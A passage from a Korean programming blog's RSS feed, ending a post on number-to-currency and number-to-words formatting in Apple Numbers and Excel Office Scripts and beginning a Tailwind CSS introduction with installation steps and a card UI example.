&lt;td&gt;&lt;code&gt;numberToWords&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;숫자 &amp;rarr; 영어 단어 (One Hundred...)&lt;/td&gt;
&lt;td&gt;❌ 불가&lt;/td&gt;
&lt;td&gt;외부 변환 (예: 웹)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;formatCurrencyAbbreviation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;숫자 &amp;rarr; K/M/B 단위 축약&lt;/td&gt;
&lt;td&gt;✅ 가능&lt;/td&gt;
&lt;td&gt;사용자 지정 서식 or 수식&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;숫자를 한글 금액 단위로 표현 - &lt;code&gt;formatKoreanCurrency&lt;/code&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Numbers는 텍스트 조합 수식만 지원하므로 아래와 같이 구성하세요:&lt;/p&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;IF(A2 &amp;ge; 100000000,
  INT(A2 / 100000000) &amp;amp; &quot;억 &quot; &amp;amp; INT(MOD(A2, 100000000) / 10000) &amp;amp; &quot;만 &quot; &amp;amp; MOD(A2, 10000) &amp;amp; &quot;원&quot;,
  IF(A2 &amp;ge; 10000,
    INT(A2 / 10000) &amp;amp; &quot;만 &quot; &amp;amp; MOD(A2, 10000) &amp;amp; &quot;원&quot;,
    A2 &amp;amp; &quot;원&quot;
  )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과 예시:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;A2 값&lt;/th&gt;
&lt;th&gt;출력&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;123456789&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1억 2345만 6789원&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9999&lt;/td&gt;
&lt;td&gt;&lt;code&gt;9999원&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10000&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1만 0원&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;숫자를 한글 숫자 표기로 변환 - &lt;code&gt;numberToHan&lt;/code&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Google 스프레드시트 또는 웹 API로 변환 후 결과를 붙여 넣기&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;금액의 영어 단위 변환 - &lt;code&gt;numberToWords&lt;/code&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Google 스프레드시트 또는 웹 API로 변환 후 결과를 붙여 넣기&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;금액 단축 표기(K/M/B) - &lt;code&gt;formatCurrencyAbbreviation&lt;/code&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수식 예시 (B &amp;rarr; M &amp;rarr; K):&lt;/p&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;IF(A2 &amp;ge; 1000000000,
  ROUND(A2 / 1000000000, 1) &amp;amp; &quot;B&quot;,
  IF(A2 &amp;ge; 1000000,
    ROUND(A2 / 1000000, 1) &amp;amp; &quot;M&quot;,
    IF(A2 &amp;ge; 1000,
      ROUND(A2 / 1000, 1) &amp;amp; &quot;K&quot;,
      A2
    )
  )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과 예시:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;A2 값&lt;/th&gt;
&lt;th&gt;출력&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1500&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.5K&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1250000&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.3M&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2000000000&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2.0B&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;요약&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;함수명&lt;/th&gt;
&lt;th&gt;Numbers 가능 여부&lt;/th&gt;
&lt;th&gt;구현 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;formatKoreanCurrency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;⚠️ 가능 (억/만까지만)&lt;/td&gt;
&lt;td&gt;수식 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;numberToHan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌ 불가&lt;/td&gt;
&lt;td&gt;Google Sheets 등 외부 사용 후 복사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;numberToWords&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌ 불가&lt;/td&gt;
&lt;td&gt;외부 웹 또는 Google Sheets 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;formatCurrencyAbbreviation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅ 가능&lt;/td&gt;
&lt;td&gt;조건 수식 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;제안&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Apple Numbers는 기능 제약이 심하므로, 아래 중 하나를 권장드립니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Google 스프레드시트 + Apps Script로 처리 후 복사&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Mac용 Excel (또는 Excel Online) + Office Script 사용&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;macOS Shortcuts 또는 Python으로 Numbers 연동 자동화&lt;/b&gt; (고급 사용 시)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Microsoft Office Online&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Excel Online은 일반 셀 함수 수준의 커스터마이징은 어렵지만, &lt;b&gt;Microsoft 365 Business 이상 계정 사용자라면 Office Script로 충분히 강력한 자동화를 구현할 수 있습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 Google Sheets 환경을 선호한다면 Apps Script 또는 외부 API를 통해 동일한 결과를 얻을 수 있으며, 오히려 셀 함수로도 직접 호출이 가능하다는 장점이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 &lt;code&gt;메뉴 &amp;rarr; 자동화 &amp;rarr; 스크립트 작성기&lt;/code&gt; 메뉴가 없다면 Microsoft 365 Business 또는 Education 계정으로 로그인해서 진행해야합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1) Excel Online 열기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 브라우저에서 &lt;a href=&quot;https://excel.office.com&quot;&gt;https://excel.office.com&lt;/a&gt; 접속&lt;/li&gt;
&lt;li&gt;Microsoft 365 Business 또는 Education 계정으로 로그인&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2) 자동화 메뉴 확인&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;엑셀 상단 메뉴에 &lt;b&gt;&quot;자동화&quot;&lt;/b&gt; 탭이 있는지 확인&lt;/li&gt;
&lt;li&gt;&quot;자동화 &amp;rarr; 코드 편집기 열기&quot;를 선택하여 스크립트 작성기 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3) 스크립트 작성 및 함수 등록&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스크립트 편집기에 위 4개 함수를 하나의 Office Script로 등록합니다.&lt;/li&gt;
&lt;li&gt;예시: A2:A10 셀의 입력값을 기준으로, B2:E10 셀에 각 함수의 결과 출력&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4) 통합 스크립트&lt;/h3&gt;
&lt;pre class=&quot;typescript&quot;&gt;&lt;code&gt;function main(workbook: ExcelScript.Workbook) {
  const sheet = workbook.getActiveWorksheet();
  const inputRange = sheet.getRange(&quot;A2:A10&quot;).getValues();
  const output: string[][] = [];

  for (let i = 0; i &amp;lt; inputRange.length; i++) {
    const value = inputRange[i][0];
    const formatted = formatKoreanCurrency(value);
    const han = numberToHan(value);
    const eng = numberToWords(Number(value));
    const abbr = formatCurrencyAbbreviation(Number(value));
    output.push([formatted, han, eng, abbr]);
  }

  sheet.getRange(&quot;B2:E10&quot;).setValues(output);
}

function formatKoreanCurrency(input: any): string {
  let numeric = typeof input === &quot;string&quot; ? input.replace(/[^\d]/g, &quot;&quot;) : input;
  const amount = Number(numeric);
  if (isNaN(amount) || amount &amp;lt; 0) return &quot;0원&quot;;
  if (amount === 0) return &quot;0원&quot;;

  const unitNames = [&quot;&quot;, &quot;만&quot;, &quot;억&quot;, &quot;조&quot;, &quot;경&quot;, &quot;해&quot;];
  const result = [];
  let value = amount;
  let unitIndex = 0;

  while (value &amp;gt; 0) {
    const chunk = value % 10000;
    if (chunk &amp;gt; 0) {
      result.unshift(chunk.toLocaleString() + unitNames[unitIndex]);
    }
    value = Math.floor(value / 10000);
    unitIndex++;
  }

  return result.join(&quot; &quot;) + &quot;원&quot;;
}

function numberToHan(input: any): string {
  const hanNum = ['', '일', '이', '삼', '사', '오', '육', '칠', '팔', '구'];
  const unit1 = ['', '십', '백', '천'];
  const unit4 = ['', '만', '억', '조', '경'];

  function parseKoreanAmountToNumber(str: string): number {
    if (typeof str !== 'string') return Number(str);
    let total = 0;
    let temp = 0;
    const units: { [key: string]: number } = {
      '해': 1e20,
      '경': 1e16,
      '조': 1e12,
      '억': 1e8,
      '만': 1e4,
      '천': 1e3,
      '백': 1e2,
      '십': 1e1
    };

    str = str.replace(/[^\d가-힣]/g, '');
    const regex = /(\d+)(해|경|조|억|만|천|백|십)?/g;
    let match: RegExpExecArray | null;

    while ((match = regex.exec(str)) !== null) {
      const num = parseInt(match[1]);
      const unit = match[2];

      if (unit &amp;amp;&amp;amp; units[unit]) {
        total += num * units[unit];
      } else {
        temp += num;
      }
    }

    return total + temp;
  }

  let num = parseKoreanAmountToNumber(String(input));
  if (!num || isNaN(num)) return '';
  num = Number(num).toString();
  const reversed = num.split('').reverse().join('');
  const split4 = [];

  for (let i = 0; i &amp;lt; reversed.length; i += 4) {
    split4.push(reversed.substring(i, i + 4));
  }

  const result = [];

  for (let i = 0; i &amp;lt; split4.length; i++) {
    const chunk = split4[i].split('');
    const temp = [];

    for (let j = 0; j &amp;lt; chunk.length; j++) {
      const digit = parseInt(chunk[j]);
      if (digit &amp;gt; 0) {
        temp.unshift(hanNum[digit] + unit1[j]);
      }
    }

    if (temp.length &amp;gt; 0) {
      result.unshift(temp.join('') + unit4[i]);
    }
  }

  return result.join('');
}

function numberToWords(num: number): string {
  if (num === 0) return &quot;Zero&quot;;

  const below20 = [&quot;&quot;, &quot;One&quot;, &quot;Two&quot;, &quot;Three&quot;, &quot;Four&quot;, &quot;Five&quot;, &quot;Six&quot;, &quot;Seven&quot;, &quot;Eight&quot;, &quot;Nine&quot;, &quot;Ten&quot;,
    &quot;Eleven&quot;, &quot;Twelve&quot;, &quot;Thirteen&quot;, &quot;Fourteen&quot;, &quot;Fifteen&quot;, &quot;Sixteen&quot;,
    &quot;Seventeen&quot;, &quot;Eighteen&quot;, &quot;Nineteen&quot;];
  const tens = [&quot;&quot;, &quot;&quot;, &quot;Twenty&quot;, &quot;Thirty&quot;, &quot;Forty&quot;, &quot;Fifty&quot;, &quot;Sixty&quot;, &quot;Seventy&quot;, &quot;Eighty&quot;, &quot;Ninety&quot;];
  const thousands = [&quot;&quot;, &quot;Thousand&quot;, &quot;Million&quot;, &quot;Billion&quot;];

  function helper(n: number): string {
    if (n === 0) return &quot;&quot;;
    else if (n &amp;lt; 20) return below20[n] + &quot; &quot;;
    else if (n &amp;lt; 100) return tens[Math.floor(n / 10)] + &quot; &quot; + helper(n % 10);
    else return below20[Math.floor(n / 100)] + &quot; Hundred &quot; + helper(n % 100);
  }

  let word = &quot;&quot;;
  let i = 0;

  while (num &amp;gt; 0) {
    if (num % 1000 !== 0) {
      word = helper(num % 1000) + thousands[i] + &quot; &quot; + word;
    }
    num = Math.floor(num / 1000);
    i++;
  }

  return word.trim();
}

function formatCurrencyAbbreviation(num: number, digits: number = 1): string {
  if (num === 0) return &quot;0&quot;;

  const units = [
    { value: 1000000000, symbol: &quot;B&quot; },
    { value: 1000000, symbol: &quot;M&quot; },
    { value: 1000, symbol: &quot;K&quot; }
  ];

  const absNum = Math.abs(num);
  const sign = num &amp;lt; 0 ? &quot;-&quot; : &quot;&quot;;

  for (let i = 0; i &amp;lt; units.length; i++) {
    if (absNum &amp;gt;= units[i].value) {
      return sign + (absNum / units[i].value).toFixed(digits).replace(/\.0+$/, &quot;&quot;) + units[i].symbol;
    }
  }

  return sign + absNum.toString();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주의사항 및 사용 팁&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Office Script는 &lt;b&gt;셀에서 직접&lt;/b&gt; &lt;code&gt;**=함수()**&lt;/code&gt;&lt;b&gt;로 사용할 수 없습니다.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;대신, &quot;자동화 &amp;rarr; 코드 편집기&quot;에서 스크립트를 실행하면 &lt;b&gt;지정한 셀 범위에 결과를 자동 입력&lt;/b&gt;할 수 있습니다.&lt;/li&gt;
&lt;li&gt;A열에 입력값을 배치하고, B~E열에 결과를 출력하는 구조로 구성하는 것이 일반적입니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/494</guid>
      <comments>https://eyecandyzero.tistory.com/494#entry494comment</comments>
      <pubDate>Wed, 11 Jun 2025 17:50:36 +0900</pubDate>
    </item>
    <item>
      <title>Tailwind CSS로 시작하는 유틸리티 퍼스트 스타일링 (Tailwind Getting Started)</title>
      <link>https://eyecandyzero.tistory.com/493</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://tailwindcss.com/&quot;&gt;https://tailwindcss.com/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1749521942007&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Tailwind CSS - Rapidly build modern websites without ever leaving your HTML.&quot; data-og-description=&quot;Tailwind CSS is a utility-first CSS framework for rapidly building modern websites without ever leaving your HTML.&quot; data-og-host=&quot;tailwindcss.com&quot; data-og-source-url=&quot;https://tailwindcss.com/&quot; data-og-url=&quot;https://tailwindcss.com/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bpLqQK/hyY49RkjML/Yl1oWDg6HQ0HS0vkVIXqhk/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/nTlWY/hyY72pFAvG/QU9Qy8alt4uT6H2PJxAGK0/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/doh3Qj/hyY5dGbOZ1/OAwSWyePkfacr8cenRgyz1/img.png?width=516&amp;amp;height=516&amp;amp;face=273_156_444_343&quot;&gt;&lt;a href=&quot;https://tailwindcss.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://tailwindcss.com/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bpLqQK/hyY49RkjML/Yl1oWDg6HQ0HS0vkVIXqhk/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/nTlWY/hyY72pFAvG/QU9Qy8alt4uT6H2PJxAGK0/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/doh3Qj/hyY5dGbOZ1/OAwSWyePkfacr8cenRgyz1/img.png?width=516&amp;amp;height=516&amp;amp;face=273_156_444_343');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Tailwind CSS - Rapidly build modern websites without ever leaving your HTML.&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Tailwind CSS is a utility-first CSS framework for rapidly building modern websites without ever leaving your HTML.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;tailwindcss.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 개발 환경에서 &quot;Tailwind CSS&quot;는 빠르게 인기를 얻고 있는 CSS 프레임워크입니다. 기존의 CSS는 별도의 파일에서 스타일을 정의하고, 이를 HTML 클래스와 연결하는 방식이 일반적이었지만, Tailwind는 완전히 다른 접근 방식을 제시합니다. 바로 &quot;유틸리티 퍼스트(Utility-first)&quot; 스타일링입니다. 이 방식은 HTML 요소에 유틸리티 클래스를 직접 입력하여 즉각적으로 스타일을 적용할 수 있으며, 빠른 프로토타이핑과 일관성 있는 UI 구현이 가능합니다. 특히 협업 환경이나 디자인 시스템을 구축할 때 강력한 장점을 지닙니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Tailwind CSS란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tailwind CSS는 미리 정의된 &quot;유틸리티 클래스&quot;를 조합하여 UI를 구성할 수 있도록 설계된 CSS 프레임워크입니다. 전통적인 방식처럼 CSS를 별도로 작성하지 않고, 필요한 스타일을 HTML 클래스에 바로 기술하는 방식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML에서 바로 스타일을 선언할 수 있음&lt;/li&gt;
&lt;li&gt;JIT(Just-In-Time) 방식으로 사용한 클래스만 컴파일됨&lt;/li&gt;
&lt;li&gt;설정 파일을 통해 디자인 시스템을 커스터마이징 가능&lt;/li&gt;
&lt;li&gt;유지보수가 쉬운 구조로 구성 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tailwind는 단순히 스타일링 도구를 넘어서, 설계와 개발 전반에 영향을 주는 철학적 기반까지 제공합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;전통적인 CSS 방식과의 차이점&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;전통 방식 (BEM, SCSS 등)&lt;/th&gt;
&lt;th&gt;Tailwind CSS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;스타일 선언 위치&lt;/td&gt;
&lt;td&gt;외부 CSS 파일 / &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; 태그&lt;/td&gt;
&lt;td&gt;HTML 내 class 속성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;재사용 방식&lt;/td&gt;
&lt;td&gt;믹스인, 함수, 변수 등 사용&lt;/td&gt;
&lt;td&gt;유틸리티 클래스 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;유지보수&lt;/td&gt;
&lt;td&gt;구조적이지만 코드량 증가&lt;/td&gt;
&lt;td&gt;선언적 스타일링으로 간결함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;러닝 커브&lt;/td&gt;
&lt;td&gt;SCSS 문법 등 사전 지식 필요&lt;/td&gt;
&lt;td&gt;직관적 클래스 사용으로 비교적 쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tailwind는 코드 작성과 동시에 디자인을 확인할 수 있어, 디자이너와 협업 시 피드백 루프가 빨라집니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;설치 방법&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. CDN 방식 (간편 테스트용)&lt;/h3&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;https://cdn.tailwindcss.com&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;설치 없이 바로 사용 가능&lt;/li&gt;
&lt;li&gt;빠른 프로토타이핑에 적합&lt;/li&gt;
&lt;li&gt;퍼포먼스 최적화와 커스터마이징에는 한계가 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. NPM + 빌드 환경 설정 (프로젝트용)&lt;/h3&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;npm install -D tailwindcss
npx tailwindcss init&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;tailwind.config.js&lt;/code&gt;를 통해 테마, 색상, 폰트 등을 정의할 수 있음&lt;/li&gt;
&lt;li&gt;아래와 같이 CSS 파일을 구성:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;/* input.css */
@tailwind base;
@tailwind components;
@tailwind utilities;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Vite, Webpack, Parcel 등 빌드 툴과 연동 가능&lt;/li&gt;
&lt;li&gt;개발 시 JIT 모드 활성화로 빠른 빌드&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;주요 개념 정리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;유틸리티 클래스&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tailwind는 HTML에 바로 적용할 수 있는 클래스들로 구성됩니다.&lt;br /&gt;예: &lt;code&gt;text-lg&lt;/code&gt;, &lt;code&gt;bg-red-500&lt;/code&gt;, &lt;code&gt;rounded-md&lt;/code&gt;, &lt;code&gt;mt-4&lt;/code&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;JIT (Just-In-Time) 모드&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용된 클래스만 컴파일하여 CSS 번들 크기를 최소화&lt;/li&gt;
&lt;li&gt;즉시 결과 반영으로 빠른 피드백 루프 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Purge (사용하지 않는 클래스 제거)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빌드시 사용되지 않은 클래스는 자동으로 제거됨&lt;/li&gt;
&lt;li&gt;설정은 &lt;code&gt;content&lt;/code&gt; 옵션에서 HTML, JS 파일 경로로 지정&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Tailwind Config 커스터마이징&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;브레이크포인트, 컬러 시스템, 폰트 사이즈 등을 재정의 가능&lt;/li&gt;
&lt;li&gt;테마 확장도 손쉽게 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;module.exports = {
  theme: {
    extend: {
      colors: {
        primary: '#1e3a8a',
      },
    },
  },
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;반응형 디자인 적용 방식&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tailwind는 기본적으로 반응형 브레이크포인트를 제공합니다. 접두어를 통해 화면 크기에 따른 스타일을 조건부로 적용할 수 있습니다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;p class=&quot;text-base sm:text-lg md:text-xl lg:text-2xl&quot;&amp;gt;
  반응형 텍스트 예시입니다.
&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;sm:&lt;/code&gt; = 640px 이상&lt;/li&gt;
&lt;li&gt;&lt;code&gt;md:&lt;/code&gt; = 768px 이상&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lg:&lt;/code&gt; = 1024px 이상&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xl:&lt;/code&gt; = 1280px 이상&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이점:&lt;/b&gt; 한 클래스 내에서 반응형 변형을 구성할 수 있어 코드가 깔끔합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;예제: 카드 UI 구성&lt;/h2&gt;
&lt;pre class=&quot;cs&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;max-w-sm mx-auto bg-white rounded-xl shadow-lg overflow-hidden&quot;&amp;gt;
  &amp;lt;img class=&quot;w-full h-48 object-cover&quot; src=&quot;/images/card.jpg&quot; alt=&quot;카드 이미지&quot;&amp;gt;
  &amp;lt;div class=&quot;p-6&quot;&amp;gt;
    &amp;lt;h2 class=&quot;text-2xl font-bold&quot;&amp;gt;카드 제목&amp;lt;/h2&amp;gt;
    &amp;lt;p class=&quot;text-gray-600 mt-2&quot;&amp;gt;이것은 카드 컴포넌트의 본문입니다.&amp;lt;/p&amp;gt;
    &amp;lt;button class=&quot;mt-4 px-4 py-2 bg-blue-600 text-white rounded hover:bg-blue-700&quot;&amp;gt;
      더 알아보기
    &amp;lt;/button&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설명 주석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;max-w-sm&lt;/code&gt;: 카드의 최대 너비 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mx-auto&lt;/code&gt;: 가로 가운데 정렬&lt;/li&gt;
